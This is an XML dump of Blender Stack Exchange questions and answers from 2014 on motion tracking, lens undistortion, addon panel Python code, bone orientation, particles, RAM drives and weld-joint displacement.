  <row Id="15614" PostTypeId="2" ParentId="15611" CreationDate="2014-09-06T09:50:50.077" Score="3" Body="&lt;p&gt;Blender currently uses a KLT-Tracker &lt;a href=&quot;http://en.wikipedia.org/wiki/Kanade%E2%80%93Lucas%E2%80%93Tomasi_feature_tracker&quot; rel=&quot;nofollow&quot;&gt;(Kanade–Lucas–Tomasi)&lt;/a&gt; which is documented &lt;a href=&quot;https://www.blender.org/manual/editors/movie_clip_editor/tracking/index.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the calculation of the solve error the documentation of this &lt;a href=&quot;http://www.mathworks.de/de/help/vision/ref/vision.pointtracker-class.html&quot; rel=&quot;nofollow&quot;&gt;implementation&lt;/a&gt; might be interesting. &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorDisplayName="user1853" LastEditDate="2016-03-22T15:15:18.153" LastActivityDate="2016-03-22T15:15:18.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15616" PostTypeId="1" CreationDate="2014-09-06T11:19:57.717" Score="1" ViewCount="1314" Body="&lt;p&gt;I have a Master Addon which adds its own vertical tabs and panels. Then i have a Child Addon which provides some additional tools which fit well into various panels created by master. But the Child Addon can also run standalone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When both Addons are enabled the additional tools from the Child Addon shall be placed into the Panels provided by the Master Addon. But when the Child Addon is running &quot;standalone&quot;, then it shall create its own panels instead. The master may know about the child. but the child must not depend in any way on the master addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the goal is to avoid to duplicate Operator Buttons and Panels when both Addons are enabled. To achieve this i added a global Property to the child addon and defined a child Toolbox like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# In the Child Addon:&#xA;# ===================&#xA;&#xA;global CHILD_ENABLED&#xA;CHILD_ENABLED = True&#xA;class PanelChildTool(bpy.types.Panel):&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;    bl_label = _(&quot;Child Tools&quot;)&#xA;    bl_idname = &quot;child.tools&quot;&#xA;    bl_category    = &quot;Tools&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(self, context):&#xA;        global CHILD_ENABLED&#xA;        return CHILD_ENABLED&#xA;&#xA;    ....        &#xA;&#xA;&#xA;def set_ui(is_enabled=True):&#xA;    global CHILD_ENABLED&#xA;    CHILD_ENABLED = is_enabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So i can now enable/disable the drawing of Child panels.&#xA;And in the master Addon's init section i added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# In the Master Addon&#xA;# ===================&#xA;&#xA;loaded_default, loaded_state = addon_utils.check(&quot;child&quot;)&#xA;if loaded_default == False and loaded_state is None:&#xA;    print(&quot;Child seems to be not installed&quot;)&#xA;elif loaded_state != True :&#xA;    addon_utils.enable(&quot;child&quot;, default_set=True, persistent=False, handle_error=None)&#xA;    print(&quot;Enabled module 'child' On The Fly&quot;)&#xA;    loaded_state = True&#xA;&#xA;if loaded_state == True:&#xA;    import child&#xA;    child.set_ui(is_enabled=False)        &#xA;    print(&quot;Disabled Child's native UI&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the Child panels are disabled.&#xA;Finally, wherever i want to load an operator from the Child into one of the master Panels, i add something similar to this to the master's panel draw() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if  sys.modules.get(&quot;child&quot;):&#xA;    import child&#xA;    child.draw_generic(context, layout) # Generic draw function provided by the child&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this appraoch is working. &#xA;But is there a better solution ?&#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-07T15:07:23.660" Title="How to control user interface (panels) across Addons" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15617" PostTypeId="2" ParentId="15609" CreationDate="2014-09-06T11:55:37.663" Score="6" Body="&lt;p&gt;In Blender the Bone's local Y-axis always runs along the bone's longitudinal axis (from head to tail). I believe this convention comes from the definition of the bvh format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the orientation of the local x and z axes a typical approach seems to be to to orient all bone's local x axes along the global x axis. However this does only work for bones which have their local Y axis oriented mostly along the global Z-axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this general rule does no longer work when you have a character that is in T-Pose for example. In that case i found that a common approach is to orient the local z axis along the global z axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made my own convenience rule of thumb out of this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for mostly vertical bones: orient their local x axis towards the global x axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zliXq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for mostly horizontal bones: orient their local z axis towards their global z axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HbhtN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These rules of thumb worked for me in most cases so far. The only wonky situations are where a bone is half vertical half horizontal. I think i then used the same orientation as the other bones of the limb have.&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-06T11:55:37.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15618" PostTypeId="2" ParentId="15613" CreationDate="2014-09-06T12:37:35.240" Score="4" Body="&lt;p&gt;This can be done by starting from a circle instead of a cylinder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the properties panel (&lt;kbd&gt;P&lt;/kbd&gt;) in the 3d view and enable 'Length' in the 'Mesh Display' section to view edge lengths in the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jFelF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In front view, with all edges of the circle selected, extrude with &lt;kbd&gt;E&lt;/kbd&gt; and constrain to the Z axis by pressing &lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now extrude upwards and match the extrusion length with the original edge length. In this case it is 0.196. To do this perfectly you can just type whatever the edge length is (0.196) while extruding and constraining:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tsxLs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last step is to add an array modifier to to create the other 'rows' of the cylinder. As long as the object has it's rotation and scale applied you can just set an offset of '1' in the Z offset field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w3U2t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-09-06T12:37:35.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15619" PostTypeId="2" ParentId="15601" CreationDate="2014-09-06T13:24:28.723" Score="4" Body="&lt;p&gt;Gravity would be the biggest factor that determines the speed of particles falling. You can change the amount that gravity effects the particles and you can also increasing the damping to slow down their movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest thing that would get the effect you want would be to use more than one particle system. As an extreme, you could add 100 particle systems to an emitter and have 100 emitters in a scene. Each of these particle systems can have different gravity and damp settings so will be moving at different speeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a different number of particles from each emitter you can have 80% of your dust settle in 3 seconds, another 10% in 5 seconds and the last 10% take 10 seconds to settle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also helps with the &quot;all ending on the same frame&quot;. With multiple particle systems you can have the emitters with higher particle counts finish on frame 200 then have an emitter sending two particles a frame finish on frame 250, with some varying amounts being emitted in between. With multiple emitters or broken geometry emitters you can have these particles emitted in different places instead of being concentrated to one small area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use multiple layers to your advantage, with an emitter on a different layer you can have a force field effect the one emitter's particles so they move differently to give a separate appearance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gL6Cw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-06T13:24:28.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15620" PostTypeId="1" AcceptedAnswerId="15622" CreationDate="2014-09-06T15:00:52.097" Score="29" ViewCount="12884" Body="&lt;p&gt;In the camera setting in motion tracking, how do I tweak the K1, K2 and K3 value properly. I was told that these values are not necessary to tweak but I do want to adjust it, just for the sake of perfection.&lt;/p&gt;&#xA;" OwnerUserId="4931" LastEditorDisplayName="user1853" LastEditDate="2019-03-07T07:23:22.663" LastActivityDate="2020-05-26T23:11:02.010" Title="How to determine lens undistortion values for motion tracking?" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="20" ContentLicense="CC BY-SA 4.0" />
  <row Id="15622" PostTypeId="2" ParentId="15620" CreationDate="2014-09-06T16:37:39.653" Score="47" Body="&lt;p&gt;All camera lenses in the real world create some kind of distortion. CG imagery  does not have the imperfections of glass.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Setting the distortion values for the lens is crucial if you are trying to do accurate scene reconstruction and integration with 3D generated elements&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To determine the values for a particular lens you can shoot a picture of something you know has straight lines (It doesn't have to be a grid, but it must have straight lines).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yFc4R.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yFc4R.jpg&quot; alt=&quot;Photo of graph paper&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Use the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/interface/annotate_tool.html&quot; rel=&quot;noreferrer&quot;&gt;annotation tool&lt;/a&gt; to draw straight lines to use as reference . Find the beginning and ending points of lines that should be straight and draw a line that connects them (To draw straight lines use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and Left Mouse Button).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gZuKP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZuKP.png&quot; alt=&quot;Grease Pencil lines added&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enable &lt;em&gt;Calibration&lt;/em&gt; on the &lt;em&gt;Display&lt;/em&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hHoJm.png&quot; alt=&quot;Properties Panel in Movie Clip Editor&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Play with the &lt;em&gt;K1&lt;/em&gt;, &lt;em&gt;K2&lt;/em&gt; settings and distort the pencil lines until they match the curvature of the distorted lines in your image.&lt;/p&gt;&#xA;&lt;p&gt;To correct Barrel distortion use Negative numbers on &lt;em&gt;K1&lt;/em&gt;, for &lt;em&gt;Pincushion&lt;/em&gt; use positive values.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rm62w.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rm62w.png&quot; alt=&quot;Distorted Grease Pencil lines&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Settings in Blender 2.8X&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ROKoR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ROKoR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind that most distortion is &lt;strong&gt;radial&lt;/strong&gt; and distorts the image starting from the optical center of the lens (that might not coincide with the center of the image)&#xA;If you find that the drawn line distort correctly on the top of the frame and not on the bottom (or vice versa, or on one side of the frame and not in the other) you might need to manually find the &lt;strong&gt;optical center&lt;/strong&gt; in the camera settings. The slider on the left will move the optical center horizontally, the one on the right will move it vertically.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jYm7Y.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jYm7Y.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To check the result in your image you can use the &lt;em&gt;Render Undistorted&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QJAUX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJAUX.png&quot; alt=&quot;Undistorted Graph Paper&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Use the same values for images made with the same lens. If you change lenses, you will have to determine the values for each one.&lt;/p&gt;&#xA;&lt;p&gt;Currently there is no way in blender to use images made with a variable focal length during the shot. In other words don't use a zoom during the shot.&lt;/p&gt;&#xA;&lt;h2&gt;How To Make Use Of The Distortion Information&lt;/h2&gt;&#xA;&lt;p&gt;To use the distortion information in the compositor use a &lt;em&gt;Movie distortion node&lt;/em&gt; (not to be confused with the &lt;em&gt;Lens Distortion node&lt;/em&gt;)&#xA;available in &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; &amp;gt; &lt;em&gt;Distort &amp;gt; Movie Distortion&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The node needs to use the information from the clip you used to determine the distortion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8WJfc.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8WJfc.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To create an undistorted version of the image use the node with the &lt;em&gt;Undistort&lt;/em&gt; option enabled after the video clip, and before the nodes to combine with the 3D scene.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WCN1z.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WCN1z.png&quot; alt=&quot;Undistortion node setup&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Depending of your needs, there is another way to use the distortion values of the lens, and that is to leave the video footage alone and apply de distortion to the 3D scene generated in blender. In that case you'd plug the &lt;em&gt;Movie Distortion&lt;/em&gt; node to the rendered layers using the &lt;em&gt;Distort&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OEnrd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEnrd.png&quot; alt=&quot;Distortion Node Setup&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&lt;p&gt;There are currently two choices to undistort.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1oNJJ.png&quot; alt=&quot;Distortion Model Popup&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Divisions&lt;/em&gt; will only give you two parameters to play: &lt;em&gt;K1&lt;/em&gt; and &lt;em&gt;K2&lt;/em&gt;.&#xA;Most lenses can be corrected with these.&lt;/p&gt;&#xA;&lt;p&gt;For more complex lens distortion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Polynomial&lt;/em&gt; will give you an additional K3.&lt;/p&gt;&#xA;&lt;p&gt;To understand the difference between the two you can read this &lt;a href=&quot;http://www.ipol.im/pub/art/2014/106/article_lr.pdf&quot; rel=&quot;noreferrer&quot;&gt;IPOL article about division models&lt;/a&gt;, but for the mathematically challenged it may suffice to quote:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The main advantage of the division model is the requirement of fewer terms than the polynomial model for the case of severe distortion. Therefore, the division model seems to be more adequate for wide-angle lenses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;for basic info on &lt;em&gt;K1&lt;/em&gt;, &lt;em&gt;K2&lt;/em&gt;, &lt;em&gt;K3&lt;/em&gt; and image center (or optical axis) read:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Distortion_(optics)&quot; rel=&quot;noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Distortion_(optics)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Blender uses algorithms based on OpenCV. You might want to read more in the following link:&#xA;&lt;a href=&quot;https://docs.opencv.org/2.4/doc/tutorials/calib3d/camera_calibration/camera_calibration.html&quot; rel=&quot;noreferrer&quot;&gt;https://docs.opencv.org/2.4/doc/tutorials/calib3d/camera_calibration/camera_calibration.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Other Note&lt;/strong&gt; When undistorting it is likely that you'll run into problems with the edges of the frame:&lt;/p&gt;&#xA;&lt;p&gt;It is possible that the undistorted image shows repeated pixels at the edge of the frame:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZVPuQ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZVPuQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or that the edges of the image are missing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XB6fo.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XB6fo.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Read these links:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/143659/solve-camera-motion-in-blender-exact-camera-data-or-refinement/143668#143668&quot;&gt;Solve camera motion in Blender: exact camera data or refinement?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/113907/motion-tracking-the-edges-of-undistorted-footage-are-cropped-and-so-are-the-el&quot;&gt;Motion tracking. The edges of undistorted footage are cropped, and so are the elements of the 3D scene&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For an alternative way to export undistortion information to other software like Nuke, Natron, Fusion, etc. read this link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://openvisualfx.com/2020/05/05/nuke-lens-distortion-in-blender-2-90/&quot; rel=&quot;noreferrer&quot;&gt;https://openvisualfx.com/2020/05/05/nuke-lens-distortion-in-blender-2-90/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/38478/why-is-my-footage-smearing-out-towards-the-border-on-rendering-an-image/38489#38489&quot;&gt;Why is my footage smearing out towards the border on rendering an image?&lt;/a&gt;&#xA;3&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-05-26T23:11:02.010" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15624" PostTypeId="1" AcceptedAnswerId="15626" CreationDate="2014-09-06T17:15:44.700" Score="1" ViewCount="863" Body="&lt;p&gt;What I am referring as a RAM Drive is &lt;a href=&quot;http://en.wikipedia.org/wiki/RAM_drive&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/RAM_drive&lt;/a&gt;. If I Install Blender on a RAM Drive, would it increase Blender's &quot;speed&quot;? Additionally, since &quot;speed&quot; is a very loose word, it would be nice to also mention 'what' will be faster (e.g. a better GPU will increase cycles render speed, etc.)  &lt;/p&gt;&#xA;" OwnerUserId="4931" LastActivityDate="2014-09-06T21:24:27.950" Title="Will running Blender on RAM Drives increase Blender's &quot;Speed&quot;?" Tags="&lt;performance&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15625" PostTypeId="2" ParentId="15616" CreationDate="2014-09-06T20:44:33.937" Score="5" Body="&lt;p&gt;The common way in Blender is to &lt;code&gt;append&lt;/code&gt; or &lt;code&gt;prepend&lt;/code&gt; draw functions via the panel &quot;class&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.CATEGORY_PT_panel_name.append(draw_func)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Registered bpy classes are globally available, you can check for a certain one with &lt;code&gt;hasattr(bpy.types, &quot;CATEGORY_PT_panel_name&quot;)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Change this to some type that doesn't exist and re-run&#xA;panel_type = &quot;VIEW3D_PT_tools_transform&quot;&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;&#xA;    obj = context.object&#xA;&#xA;    row = layout.row()&#xA;    row.label(text=&quot;Hello world!&quot;, icon='WORLD_DATA')&#xA;&#xA;    row = layout.row()&#xA;    row.label(text=&quot;Active object is: &quot; + obj.name)&#xA;    row = layout.row()&#xA;    row.prop(obj, &quot;name&quot;)&#xA;&#xA;    row = layout.row()&#xA;    row.operator(&quot;mesh.primitive_cube_add&quot;)&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;    #bl_context = &quot;object&quot;&#xA;    bl_category = &quot;Tools&quot;&#xA;&#xA;    # re-use draw functions&#xA;    draw = draw_func&#xA;&#xA;&#xA;def register():&#xA;    if hasattr(bpy.types, panel_type):&#xA;        getattr(bpy.types, panel_type).append(draw_func)&#xA;    else:&#xA;        bpy.utils.register_class(HelloWorldPanel)&#xA;&#xA;&#xA;def unregister():&#xA;    if hasattr(bpy.types, panel_type):&#xA;        getattr(bpy.types, panel_type).remove(draw_func)&#xA;    else:&#xA;        bpy.utils.unregister_class(HelloWorldPanel)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The draw functions are internally stored in &lt;code&gt;Panel.draw._draw_funcs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove them like you add them, the method is just called &lt;code&gt;remove&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-09-07T15:07:23.660" LastActivityDate="2014-09-07T15:07:23.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15626" PostTypeId="2" ParentId="15624" CreationDate="2014-09-06T21:24:27.950" Score="2" Body="&lt;p&gt;Reserving memory for a file system was a good idea 20 years ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modern operating systems use all the available memory that is left by the running processes for caching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you start a program the first time it takes longer than subsequent starts because the files and used libraries are still available in RAM. This is the best way because if a process requires more memory cache areas can be evicted. A RAM-disc whereas would  statically allocate the memory which might be needed by another process and couldn't be temporarily released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, It would harm the overall performance of your system.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-06T21:24:27.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15627" PostTypeId="1" CreationDate="2014-09-06T21:25:20.070" Score="1" ViewCount="852" Body="&lt;p&gt;I'm trying to use the render network on a Windows 8.1 PC with a local network, but I keep on receiving the error message shown in red when I select &quot;Animation on Network&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to explain what I have done, I set up my master and 1 slave which is ready to go. Then I assigned a client instance with an assigned directory path to send the temp files and the rendered files. I had saved the file before clicking &lt;strong&gt;Animation on Network&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please explain this error message and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RYGyW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7PqRp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;![Blender Network Render Error Message][3]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;![enter image description here][4]&lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="5239" LastEditDate="2014-09-07T01:40:23.100" LastActivityDate="2014-09-07T01:40:23.100" Title="Why Do I Get This Error Message When I Send A Job to The Render Network?" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15628" PostTypeId="1" CreationDate="2014-09-06T23:06:03.217" Score="8" ViewCount="4353" Body="&lt;p&gt;I am looking for a way to create procedural weld joints in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some reference images showing what I am looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.flickr.com/photos/jimgrant/105352380&quot; rel=&quot;noreferrer&quot;&gt;https://www.flickr.com/photos/jimgrant/105352380&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.flickr.com/photos/7363531@N05/477075888&quot; rel=&quot;noreferrer&quot;&gt;https://www.flickr.com/photos/7363531@N05/477075888&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.flickr.com/photos/fstorr/5440129655&quot; rel=&quot;noreferrer&quot;&gt;https://www.flickr.com/photos/fstorr/5440129655&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic approach I have been taking is to create a base mesh then use a skin modifier fallowed by a subserf modifier with a bunch of displacements after that. However I am not happy with the result, I think that the displacement textures need to be different(in this case I am using two cloud textures). This is the result that I got so far:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N3YnJ.png&quot; alt=&quot;weld joint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that you might notice in the reference pictures is that weld joints tend to have a beaded look to them due to how the individual drops of metal fell into the seam and overlapped each-other. I am not sure how best to replicate this with a displacement. I thought about using Metaballs but those are hard to work with and getting some kind of displacement or randomization on them would be very hard (not saying that they are not an option though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you thoughts? Dose anybody know of a good way to quickly and easily create a procedural weld joint?&lt;/p&gt;&#xA;" OwnerUserId="2387" LastActivityDate="2015-05-08T07:19:29.800" Title="How to create proper displacement for weld joints?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;meta-objects&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15629" PostTypeId="2" ParentId="15628" CreationDate="2014-09-06T23:16:16.663" Score="13" Body="&lt;p&gt;You said you wanted a to do this procedurally, but I personally would recommend using an image texture like this one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;This image was created by me, and is in the public domain. Use it however you want :) Click for larger size&lt;/sub&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qe1xb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qe1xbs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This displacement map produced a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AiqKN.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-09-07T19:33:35.903" LastActivityDate="2014-09-07T19:33:35.903" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
